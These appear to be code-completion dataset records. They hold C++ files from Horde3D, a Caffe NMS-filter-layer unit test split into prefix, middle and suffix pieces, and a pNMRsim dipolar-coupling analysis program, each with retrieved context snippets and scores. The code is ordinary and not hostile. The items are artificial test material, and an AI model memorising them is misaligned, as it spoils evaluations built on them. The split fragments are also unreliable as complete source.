i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 ) _resources[i]->release(); } for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 ) { delete _resources[i]; _resources[i] = 0x0; } } } ResHandle ResourceManager::queryUnloadedResource( int index ) { int j = 0; for( uint32 i = 0; i < _resources.size(); ++i ) {
} return 0; } void ResourceManager::releaseUnusedResources() { vector< uint32 > killList; for( uint32 i = 0; i < _resources.size(); ++i ) { if( _resources[i] != 0x0 && _resources[i]->_userRefCount == 0 && _resources[i]->_refCount == 0 ) { killList.push_back( i ); _resources[i]->release(); } } for( uint32 i = 0; i < killList.size(); ++i ) { Modules::log().writeInfo( "Removed resource '%s'", _resources[killList[i]]->_name.c_str() ); delete _resources[killList[i]]; _resources[killList[i]] = 0x0; } if( !killList.empty() ) releaseUnusedResources(); } }
if( _resources[i] != 0x0 && !_resources[i]->_loaded && !_resources[i]->_noQuery ) { if( j == index ) return _resources[i]->_handle; else ++j; }
if_condition
[ { "content": "DLL void *h3dMapResStream( H3DRes res, int elem, int elemIdx, int stream, bool read, bool write );\n", "file_path": "include/horde3d.h", "rank": 0, "score": 273370.8184420084 }, { "content": "DLL H3DRes h3dCloneResource( H3DRes sourceRes, const char *name );\n", "file_path"...
C++
src/caffe/test/test_nms_filter_layer.cpp
MSRCCS/Caffe
2eb05997f077fe93832b89d56ea0cd1ea72e3275
#include <vector> #include <numeric> #include "boost/scoped_ptr.hpp" #include "gtest/gtest.h" #include "caffe/blob.hpp" #include "caffe/common.hpp" #include "caffe/filler.hpp" #include "caffe/util/rng.hpp" #include "caffe/region_common.hpp" #include "caffe/layers/nms_filter_layer.hpp" #include "caffe/test/test_caffe_main.hpp" #include "caffe/test/test_gradient_check_util.hpp" using boost::scoped_ptr; namespace caffe { template <typename TypeParam> class NMSFilterLayerTest : public MultiDeviceTest<TypeParam> { typedef typename TypeParam::Dtype Dtype; private: vector<int> ShuffledIndex(int count) { vector<int> result(count); std::iota(result.begin(), result.end(), 0); shuffle(result.begin(), result.end()); return result; } protected: NMSFilterLayerTest() : blob_bbs_(new Blob<Dtype>(2, 5, 3, 4)), blob_conf_(new Blob<Dtype>(2, 6, 5, 3)), blob_conf_one_(new Blob<Dtype>({ 2, 5, 3 })), blob_top_conf_(new Blob<Dtype>()) { Caffe::set_random_seed(777); auto num_bb = blob_bbs_->count(0, 3); vector<float> width(num_bb); vector<float> height(num_bb); caffe_rng_uniform(num_bb, 1.0f, 100.0f, &width[0]); caffe_rng_uniform(num_bb, 1.0f, 100.0f, &height[0]); for (int i = 0; i < num_bb; ++i) { auto bb = blob_bbs_->mutable_cpu_data() + i * 4; if (caffe_rng_rand() % 2) { bb[0] = 0; bb[1] = 0; } else { bb[0] = 100; bb[1] = 100; } bb[2] = width[i]; bb[3] = height[i]; } blob_bottom_vec_.push_back(blob_bbs_); blob_top_vec_.push_back(blob_top_conf_); } vector<vector<int>> FillSortedUniform(int outer_num, int channels, int inner_num, int c, Dtype* data) { vector<vector<int>> indices(outer_num); int n = 0; for (auto& idx : indices) { idx = ShuffledIndex(inner_num); Dtype val = 1.0; for (auto i : idx) { data[(n * channels + c) * inner_num + i] = val; val -= 1. / inner_num; } n++; } return indices; } void TestOneClass(const vector<vector<int>>& idx, const Dtype* bbs_data, int outer_num, int channels, int inner_num, int c, float thresh, const Dtype* conf_data, const Dtype* top_conf_data) { for (int n = 0; n < outer_num; ++n) { int zeroed_count = 0; int filtered_count = 0; vector<bool> filtered(inner_num); for (int i = 0; i < inner_num; ++i) { if (top_conf_data[(n * channels + c) * inner_num + idx[n][i]] == 0) { if (conf_data[(n * channels + c) * inner_num + idx[n][i]] != 0) zeroed_count++; continue; } auto i_bb = bbs_data + (n * inner_num + idx[n][i]) * 4; for (int j = i + 1; j < inner_num; ++j) { auto j_bb = bbs_data + (n * inner_num + idx[n][j]) * 4; Dtype curr_iou = TBoxIou<Dtype>(i_bb[0], i_bb[1], i_bb[2], i_bb[3], j_bb[0], j_bb[1], j_bb[2], j_bb[3]); if (curr_iou > thresh) { EXPECT_EQ(top_conf_data[(n * channels + c) * inner_num + idx[n][j]], 0) << "c: " << c; if (!filtered[j]) { filtered[j] = true; filtered_count++; } } } } EXPECT_EQ(filtered_count, zeroed_count) << "c: " << c; } } virtual ~NMSFilterLayerTest() { delete blob_bbs_; delete blob_conf_; delete blob_conf_one_; delete blob_top_conf_; } Blob<Dtype>* const blob_bbs_; Blob<Dtype>* const blob_conf_; Blob<Dtype>* const blob_conf_one_; Blob<Dtype>* const blob_top_conf_; vector<Blob<Dtype>*> blob_bottom_vec_; vector<Blob<Dtype>*> blob_top_vec_; }; TYPED_TEST_CASE(NMSFilterLayerTest, TestDtypesAndDevices); TYPED_TEST(NMSFilterLayerTest, TestForwardOne) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = 0.5; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = 1; auto idx = this->FillSortedUniform(outer_num, channels, inner_num, 0, this->blob_conf_one_->mutable_cpu_data()); LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_classes(0); this->blob_bottom_vec_.push_back(this->blob_conf_one_); NMSFilterLayer<Dtype> layer(layer_param); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); this->TestOneClass(idx, this->blob_bbs_->cpu_data(), outer_num, channels, inner_num, 0, kNMSThreshold, this->blob_conf_one_->cpu_data(), this->blob_top_conf_->cpu_data()); } TYPED_TEST(NMSFilterLayerTest, TestForwardPerClass) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = 0.5; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); vector<vector<vector<int>>> indices(channels); for (int c = 0; c < channels; ++c) { auto idx = this->FillSortedUniform(outer_num, channels, inner_num, c, this->blob_conf_->mutable_cpu_data()); indices[c] = idx; } LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_classes(-1); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); this->blob_bottom_vec_.push_back(this->blob_conf_); scoped_ptr<NMSFilterLayer<Dtype>> layer(new NMSFilterLayer<Dtype>(layer_param)); layer->SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer->Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int c = 0; c < channels; ++c) { const auto& idx = indices[c]; this->TestOneClass(idx, this->blob_bbs_->cpu_data(), outer_num, channels, inner_num, c, kNMSThreshold, this->blob_conf_->cpu_data(), this->blob_top_conf_->cpu_data()); } const int kClasses = 3; CHECK_LT(kClasses, channels); layer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer.reset(new NMSFilterLayer<Dtype>(layer_param)); layer->SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer->Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int c = 0; c < kClasses; ++c) { const auto& idx = indices[c]; this->TestOneClass(idx, this->blob_bbs_->cpu_data(), outer_num, channels, inner_num, c, kNMSThreshold, this->blob_conf_->cpu_data(), this->blob_top_conf_->cpu_data()); } for (int n = 0; n < outer_num; ++n) { for (int c = kClasses; c < channels; ++c) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]); } } } } TYPED_TEST(NMSFilterLayerTest, TestForwardPerClassMiddle) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = 0.5; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); vector<vector<vector<int>>> indices(channels); for (int c = 0; c < channels; ++c) { auto idx = this->FillSortedUniform(outer_num, channels, inner_num, c, this->blob_conf_->mutable_cpu_data()); indices[c] = idx; } const int kClasses = 3; const int kFirstClass = 1; CHECK_LT(kClasses + kFirstClass, channels); LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_first_class(kFirstClass); NMSFilterLayer<Dtype> layer(layer_param); this->blob_bottom_vec_.push_back(this->blob_conf_); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int c = kFirstClass; c < kClasses + kFirstClass; ++c) { const auto& idx = indices[c]; this->TestOneClass(idx, this->blob_bbs_->cpu_data(), outer_num, channels, inner_num, c, kNMSThreshold, this->blob_conf_->cpu_data(), this->blob_top_conf_->cpu_data()); } for (int n = 0; n < outer_num; ++n) { for (int c = 0; c < channels; ++c) { if (c < kFirstClass || c >= kClasses + kFirstClass) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]) << "n: " << n << " c: " << c << " s: " << s; } } } } } TYPED_TEST(NMSFilterLayerTest, TestForwardPreThreshold) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = -1; const float kPreThreshold = .6; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); const int kClasses = 3; CHECK_LT(kClasses, channels); FillerParameter filler_param; filler_param.set_min(0); filler_param.set_max(1); UniformFiller<Dtype> filler(filler_param); filler.Fill(this->blob_conf_); LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_pre_threshold(kPreThreshold); this->blob_bottom_vec_.push_back(this->blob_conf_); NMSFilterLayer<Dtype> layer(layer_param); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int n = 0; n < outer_num; ++n) { for (int c = 0; c < channels; ++c) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; auto p = this->blob_conf_->cpu_data()[index]; if (c < kClasses && p <= kPreThreshold) EXPECT_FLOAT_EQ(this->blob_top_conf_->cpu_data()[index], 0); else EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]); } } } } TYPED_TEST(NMSFilterLayerTest, TestForwardPreThresholdMiddle) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = -1; const float kPreThreshold = .6; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); const int kClasses = 3; const int kFirstClass = 1; CHECK_LT(kClasses + kFirstClass, channels); FillerParameter filler_param; filler_param.set_min(0); filler_param.set_max(1); UniformFiller<Dtype> filler(filler_param); filler.Fill(this->blob_conf_); LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer_param.mutable_nmsfilter_param()->set_first_class(kFirstClass); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_pre_threshold(kPreThreshold); this->blob_bottom_vec_.push_back(this->blob_conf_); NMSFilterLayer<Dtype> layer(layer_param); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int n = 0; n < outer_num; ++n) { for (int c = 0; c < channels; ++c) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; auto p = this->blob_conf_->cpu_data()[index]; if (c < kClasses + kFirstClass && c >= kFirstClass && p <= kPreThreshold) EXPECT_FLOAT_EQ(this->blob_top_conf_->cpu_data()[index], 0); else EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]); } } } } }
#include <vector> #include <numeric> #include "boost/scoped_ptr.hpp" #include "gtest/gtest.h" #include "caffe/blob.hpp" #include "caffe/common.hpp" #include "caffe/filler.hpp" #include "caffe/util/rng.hpp" #include "caffe/region_common.hpp" #include "caffe/layers/nms_filter_layer.hpp" #include "caffe/test/test_caffe_main.hpp" #include "caffe/test/test_gradient_check_util.hpp" using boost::scoped_ptr; namespace caffe { template <typename TypeParam> class NMSFilterLayerTest : public MultiDeviceTest<TypeParam> { typedef typename TypeParam::Dtype Dtype; private: vector<int> ShuffledIndex(int count) { vector<int> result(count); std::iota(result.begin(), result.end(), 0); shuffle(result.begin(), result.end()); return result; } protected: NMSFilterLayerTest() : blob_bbs_(new Blob<Dtype>(2, 5, 3, 4)), blob_conf_(new Blob<Dtype>(2, 6, 5, 3)), blob_conf_one_(new Blob<Dtype>({ 2, 5, 3 })), blob_top_conf_(new Blob<Dtype>()) { Caffe::set_random_seed(777); auto num_bb = blob_bbs_->count(0, 3); vector<float> width(num_bb); vector<float> height(num_bb); caffe_rng_uniform(num_bb, 1.0f, 100.0f, &width[0]); caffe_rng_uniform(num_bb, 1.0f, 100.0f, &height[0]); for (int i = 0; i < num_bb; ++i) { auto bb = blob_bbs_->mutable_cpu_data() + i * 4; if (caffe_rng_rand() % 2) { bb[0] = 0; bb[1] = 0; } else { bb[0] = 100; bb[1] = 100; } bb[2] = width[i]; bb[3] = height[i]; } blob_bottom_vec_.push_back(blob_bbs_); blob_top_vec_.push_back(blob_top_conf_); } vector<vector<int>> FillSortedUniform(int outer_num, int channels, int inner_num, int c, Dtype* data) { vector<vector<int>> indices(outer_num); int n = 0; for (auto& idx : indices) { idx = ShuffledIndex(inner_num); Dtype val = 1.0; for (auto i : idx) { data[(n * channels + c) * inner_num + i] = val; val -= 1. / inner_num; } n++; } return indices; } void TestOneClass(const vector<vector<int>>& idx, const Dtype* bbs_data, int outer_num, int channels, int inner_num, int c, float thresh, const Dtype* conf_data, const Dtype* top_conf_data) { for (int n = 0; n < outer_num; ++n) { int zeroed_count = 0; int filtered_count = 0; vector<bool> filtered(inner_num); for (int i = 0; i < inner_num; ++i) { if (top_conf_data[(n * channels + c) * inner_num + idx[n][i]] == 0) { if (conf_data[(n * channels + c) * inner_num + idx[n][i]] != 0) zeroed_count++; continue; } auto i_bb = bbs_data + (n * inner_num + idx[n][i]) * 4; for (int j = i + 1; j < inner_num; ++j) { auto j_bb = bbs_data + (n * inner_num + idx[n][j]) * 4; Dtype curr_iou = TBoxIou<Dtype>(i_bb[0], i_bb[1], i_bb[2], i_bb[3], j_bb[0], j_bb[1], j_bb[2], j_bb[3]); if (curr_iou > thresh) { EXPECT_EQ(top_conf_data[(n * channels + c) * inner_num + idx[n][j]], 0) << "c: " << c; if (!filtered[j]) { filtered[j] = true; filtered_count++; } } } } EXPECT_EQ(filtered_count, zeroed_count) << "c: " << c; } } virtual ~NMSFilterLayerTest() { delete blob_bbs_; delete blob_conf_; delete blob_conf_one_; delete blob_top_conf_; } Blob<Dtype>* const blob_bbs_; Blob<Dtype>* const blob_conf_; Blob<Dtype>* const blob_conf_one_; Blob<Dtype>* const blob_top_conf_; vector<Blob<Dtype>*> blob_bottom_vec_; vector<Blob<Dtype>*> blob_top_vec_; }; TYPED_TEST_CASE(NMSFilterLayerTest, TestDtypesAndDevices); TYPED_TEST(NMSFilterLayerTest, TestForwardOne) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = 0.5; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = 1; auto idx = this->FillSortedUniform(outer_num, channels, inner_num, 0, this->blob_conf_one_->mutable_cpu_data()); LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_classes(0); this->blob_bottom_vec_.push_back(this->blob_conf_one_); NMSFilterLayer<Dtype> layer(layer_param); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); this->TestOneClass(idx, this->blob_bbs_->cpu_data(), outer_num, channels, inner_num, 0, kNMSThreshold, this->blob_conf_one_->cpu_data(), this->blob_top_conf_->cpu_data()); } TYPED_TEST(NMSFilterLayerTest, TestForwardPerClass) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = 0.5; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); vector<vector<vector<int>>> indices(channels); for (int c = 0; c < channels; ++c) { auto idx = this->FillSortedUniform(outer_num, channels, inner_num, c, this->blob_conf_->mutable_cpu_data()); indices[c] = idx; } LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_classes(-1); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); this->blob_bottom_vec_.push_back(this->blob_conf_); scoped_ptr<NMSFilterLayer<Dtype>> layer(new NMSFilterLayer<Dtype>(layer_param)); layer->SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer->Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int c = 0; c < channels; ++c) { const auto& idx = indices[c]; this->TestOneClass(idx, this->blob_bbs_->cpu_data(), outer_num, channels, inner_num, c, kNMSThreshold, this->blob_conf_->cpu_data(), this->blob_top_conf_->cpu_data()); } const int kClasses = 3; CHECK_LT(kClasses, channels); layer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer.reset(new NMSFilterLayer<Dtype>(layer_param)); layer->SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer->Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int c = 0; c < kClasses; ++c) { const auto& idx = indices[c]; this->TestOneClass(idx, this->blob_bbs_->cpu_data(), oute
ayer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_first_class(kFirstClass); NMSFilterLayer<Dtype> layer(layer_param); this->blob_bottom_vec_.push_back(this->blob_conf_); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int c = kFirstClass; c < kClasses + kFirstClass; ++c) { const auto& idx = indices[c]; this->TestOneClass(idx, this->blob_bbs_->cpu_data(), outer_num, channels, inner_num, c, kNMSThreshold, this->blob_conf_->cpu_data(), this->blob_top_conf_->cpu_data()); } for (int n = 0; n < outer_num; ++n) { for (int c = 0; c < channels; ++c) { if (c < kFirstClass || c >= kClasses + kFirstClass) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]) << "n: " << n << " c: " << c << " s: " << s; } } } } } TYPED_TEST(NMSFilterLayerTest, TestForwardPreThreshold) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = -1; const float kPreThreshold = .6; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); const int kClasses = 3; CHECK_LT(kClasses, channels); FillerParameter filler_param; filler_param.set_min(0); filler_param.set_max(1); UniformFiller<Dtype> filler(filler_param); filler.Fill(this->blob_conf_); LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_pre_threshold(kPreThreshold); this->blob_bottom_vec_.push_back(this->blob_conf_); NMSFilterLayer<Dtype> layer(layer_param); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int n = 0; n < outer_num; ++n) { for (int c = 0; c < channels; ++c) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; auto p = this->blob_conf_->cpu_data()[index]; if (c < kClasses && p <= kPreThreshold) EXPECT_FLOAT_EQ(this->blob_top_conf_->cpu_data()[index], 0); else EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]); } } } } TYPED_TEST(NMSFilterLayerTest, TestForwardPreThresholdMiddle) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = -1; const float kPreThreshold = .6; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); const int kClasses = 3; const int kFirstClass = 1; CHECK_LT(kClasses + kFirstClass, channels); FillerParameter filler_param; filler_param.set_min(0); filler_param.set_max(1); UniformFiller<Dtype> filler(filler_param); filler.Fill(this->blob_conf_); LayerParameter layer_param; layer_param.mutable_nmsfilter_param()->set_classes(kClasses); layer_param.mutable_nmsfilter_param()->set_first_class(kFirstClass); layer_param.mutable_nmsfilter_param()->set_threshold(kNMSThreshold); layer_param.mutable_nmsfilter_param()->set_pre_threshold(kPreThreshold); this->blob_bottom_vec_.push_back(this->blob_conf_); NMSFilterLayer<Dtype> layer(layer_param); layer.SetUp(this->blob_bottom_vec_, this->blob_top_vec_); layer.Forward(this->blob_bottom_vec_, this->blob_top_vec_); for (int n = 0; n < outer_num; ++n) { for (int c = 0; c < channels; ++c) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; auto p = this->blob_conf_->cpu_data()[index]; if (c < kClasses + kFirstClass && c >= kFirstClass && p <= kPreThreshold) EXPECT_FLOAT_EQ(this->blob_top_conf_->cpu_data()[index], 0); else EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]); } } } } }
r_num, channels, inner_num, c, kNMSThreshold, this->blob_conf_->cpu_data(), this->blob_top_conf_->cpu_data()); } for (int n = 0; n < outer_num; ++n) { for (int c = kClasses; c < channels; ++c) { for (int s = 0; s < inner_num; ++s) { auto index = (n * channels + c) * inner_num + s; EXPECT_FLOAT_EQ(this->blob_conf_->cpu_data()[index], this->blob_top_conf_->cpu_data()[index]); } } } } TYPED_TEST(NMSFilterLayerTest, TestForwardPerClassMiddle) { typedef typename TypeParam::Dtype Dtype; const float kNMSThreshold = 0.5; int outer_num = this->blob_bbs_->shape(0); int inner_num = this->blob_bbs_->count(1, 3); int channels = this->blob_conf_->shape(1); EXPECT_GT(channels, 1); vector<vector<vector<int>>> indices(channels); for (int c = 0; c < channels; ++c) { auto idx = this->FillSortedUniform(outer_num, channels, inner_num, c, this->blob_conf_->mutable_cpu_data()); indices[c] = idx; } const int kClasses = 3; const int kFirstClass = 1; CHECK_LT(kClasses + kFirstClass, channels); LayerParameter layer_param; l
random
[ { "content": "class DataLayer : public BasePrefetchingDataLayer<Dtype> {\n\n public:\n\n explicit DataLayer(const LayerParameter& param);\n\n virtual ~DataLayer();\n\n virtual void DataLayerSetUp(const vector<Blob<Dtype>*>& bottom,\n\n const vector<Blob<Dtype>*>& top);\n\n // DataLayer uses DataReader ...
C++
extras/CH2wibbleold.cc
dch0ph/pNMRsim
2420e618c7bff9b38b43e7c2ac684c5c28b61787
#include "ttyio.h" #include "MoleculeStructure.h" #include "space_T.h" #include "NMR.h" using namespace std; using namespace libcmatrix; int verbose = 2; const double rad2deg=180.0/M_PI; FILE* createoutput(const char* basename, const char* qual) { char scratch[256]; snprintf(scratch, sizeof(scratch), "%s%s.txt",basename,qual); FILE* fp=fopen(scratch, "wa"); if (fp==NULL) { cerr << "Failed to open output file: " << scratch << "\n"; exit(2); } return fp; } size_t validatecellstarts(const MoleculeStructure& struc, size_t start, size_t natoms) { const int start_index = struc.snumber_to_index(start); if (start_index<0) { cerr << "Serial number " << start << " not present!\n"; exit(1); } for (size_t i=natoms;i--;) { if (struc(start_index+i).type[0]!='H') { cerr << "Atom serial number " << struc(start_index+i).serial << " is not an H!\n"; exit(1); } } return start_index; } static const double gamma1H(gamma("1H")); static const double gamma13C(gamma("13C")); struct Coupling { enum coupling_t : int { CH1=0, CH2, HH, ExtraCH }; size_t i,j,cell; coupling_t type; Matrix<double> tensor; double refdist; size_t count; double gammaX; static Matrix<double> Dtmp; Coupling(size_t iv, size_t jv, size_t cellv, double refdistv, coupling_t typev) : i(iv), j(jv), cell(cellv), type(typev), refdist(refdistv), count(0U) { gammaX = (typev == HH) ? gamma1H : gamma13C; } double add(double& lasym, Euler& lF, const spherical& sphco) { static const double sqrt32 = sqrt(3.0/2.0); const double d = dipolar_coupling(gammaX, gamma1H, sphco.r*1e-10); if (verbose>0) { const char* typelabel = "CH"; switch (type) { case HH: typelabel="HH"; break; case ExtraCH: typelabel="Long-range CH"; break; default: break; } cout << typelabel << " dipolar coupling between " << (i+1) << " and " << (j+1) << ": " << d << " Hz (r=" << sphco.r << " A)\n"; } const space_T D_PAS(spatial_tensor(d)); const Euler leuler(vector_to_Euler(sphco)); const space_T D_MF(rotate(D_PAS,leuler)); tensor_to_matrix(Dtmp,D_MF); tensor += Dtmp; if (verbose>1) cout << tensor; count++; const double scale=sqrt32/count; double liso,avd; cartesian_to_PAS_symmetric(liso,avd,lasym,lF,tensor); return avd*scale; } }; Matrix<double> Coupling::Dtmp; int main(int argc, const char* argv[]) { int count = 1; const double disttolfac=5.0; const size_t nCatoms=5; List<size_t> nCatom(nCatoms); nCatom(0U)=0; nCatom(1U)=1; nCatom(2U)=5; nCatom(3U)=8; nCatom(4U)=9; MoleculeStructure struc(0); List< List<Coupling> > couplings(nCatoms); List<std::string> labels(nCatoms); const double dlim = getfloat(argc, argv, count, "Limiting CH distance (in A)? ",1.6); const double dlimCH = 1.5; const double dlimHH = 2.0; if (dlim < dlimCH) cerr << "Warning: Limiting CH distance cannot be meaningfully less than internal cutoff of " << dlimCH << " A\n"; Matrix<double> Dtmp; char fname[256]; getstring(argc,argv,count,"PDB trajectory file? ",fname,sizeof(fname),"acidch2.pdb"); FILE* fp=fopen(fname, "r"); if (fp==NULL) { cerr << "Failed to open PDB trajectory file: " << fname << '\n'; return 1; } char outfname[256]; getstring(argc,argv,count,"Output file name? ",outfname,sizeof(outfname),"UICwibble"); const int startframe = getint(argc,argv,count,"Start frame? ",1); const int maxframes = getint(argc,argv,count,"Frames to include (0 for all)? ",0); if (maxframes<0) { cerr << "Frames can't be <0!\n"; return 1; } const int stepframes = getint(argc,argv,count,"Frame step? ",1); if (stepframes<1) { cerr << "Step frames can't be <1\n"; return 1; } enum avmode_t : int { NOAV=0, DOAV, TABALL }; cout << "N - no average ('central repeat' only)\nA - Average over repeats\nT - Tabulate all averages\n"; const int avmode = getoption(argc,argv,count,"Averaging mode? ","NAT",NOAV); int endframe = 0; if (maxframes) endframe=startframe+maxframes; size_t allnatoms=0; int curframe=startframe; size_t cellnatoms=0; size_t ncells=0; FILE* fpconv = NULL; FILE* fpconvCH2 = NULL; Matrix<double> lastds; Matrix<double> lastangles; if (avmode!=TABALL) { fpconv = createoutput(outfname,"_converge"); fpconvCH2 = createoutput(outfname,"_CH2converge"); lastds.create(nCatoms,4); lastangles.create(nCatoms,12); } int nframes=1; bool firstloop=true; size_t cellstart=0; for (;;curframe+=stepframes,nframes++,firstloop=false) { if ((endframe>0) && (curframe>=endframe)) break; struc.clear(); try { struc.read_PDB_single(fp, curframe); if (struc.empty()) throw Failed("Empty structure!"); } catch (const MatrixException& exc) { if (curframe>1) break; cerr << "Failed to read any frames from " << fname << ": " << exc; return 1; } cellnatoms = struc.cell0_end() - struc.cell0_start(); if (firstloop) { allnatoms=struc.size(); cout << "Atoms read: " << allnatoms << " " << " Atoms in unit cell: " << cellnatoms << '\n'; if (avmode!=NOAV) { if (allnatoms % cellnatoms) { cerr << "Number of atoms in repeating unit doesn't divide into total number!\n"; return 1; } ncells=allnatoms / cellnatoms; } else { const size_t cell0_start = struc.cell0_start(); cout << "Serial no. of first atom is " << struc(cell0_start).serial << " Last atom is " << struc(cell0_start+cellnatoms-1).serial << '\n'; cellstart = cell0_start; ncells=1; } if (fpconv!=NULL) { fprintf(fpconv,"#Frame"); fprintf(fpconvCH2,"#Frame"); for (size_t i=0;i<nCatoms;i++) { const char* label = struc(cellstart+nCatom(i)).type; if (label[0] != 'C') throw Failed("Expected to find C atom"); fprintf(fpconv,"\t%s_dCH1/kHz\t%s_dCH2/kHz\t%s_dHH/kHz", label,label,label); fprintf(fpconvCH2,"\t%s_dCHrss/kHz", label); } fprintf(fpconv,"\n"); fprintf(fpconvCH2,"\n"); } } else { const size_t cursize=struc.size(); if (allnatoms!=cursize) { cerr << "Frame " << curframe << " differs in size from initial frame!\n"; return 2; } } if (fpconv!=NULL) { fprintf(fpconv,"%i",curframe); fprintf(fpconvCH2,"%i",curframe); } else lastds.create(ncells,nCatoms*3); for (size_t nC=0;nC<nCatoms;nC++) { List<Coupling>& curcouplings(couplings(nC)); if (firstloop) { const size_t celli=nCatom(nC); labels(nC) = struc(cellstart+celli).type; for (size_t cell=0;cell<ncells;cell++) { const size_t ni = cellstart+(cell*cellnatoms)+celli; Coupling::coupling_t coupling_state = Coupling::CH1; List<size_t> CHindices; for (size_t nj = 0; nj<struc.size(); nj++) { if (struc(nj).type[0] != 'H') continue; const vector3 diff(struc(ni).coords - struc(nj).coords); const spherical sphco(diff); if (sphco.r < dlimCH) { if (coupling_state == Coupling::ExtraCH) throw Failed("Found >2 matching CH distances"); curcouplings.push_back(Coupling(ni, nj, cell, sphco.r, coupling_state)); coupling_state =Coupling::coupling_t(int(coupling_state) + 1); CHindices.push_back(nj); } else { if (sphco.r < dlim) curcouplings.push_back(Coupling(ni, nj, cell, 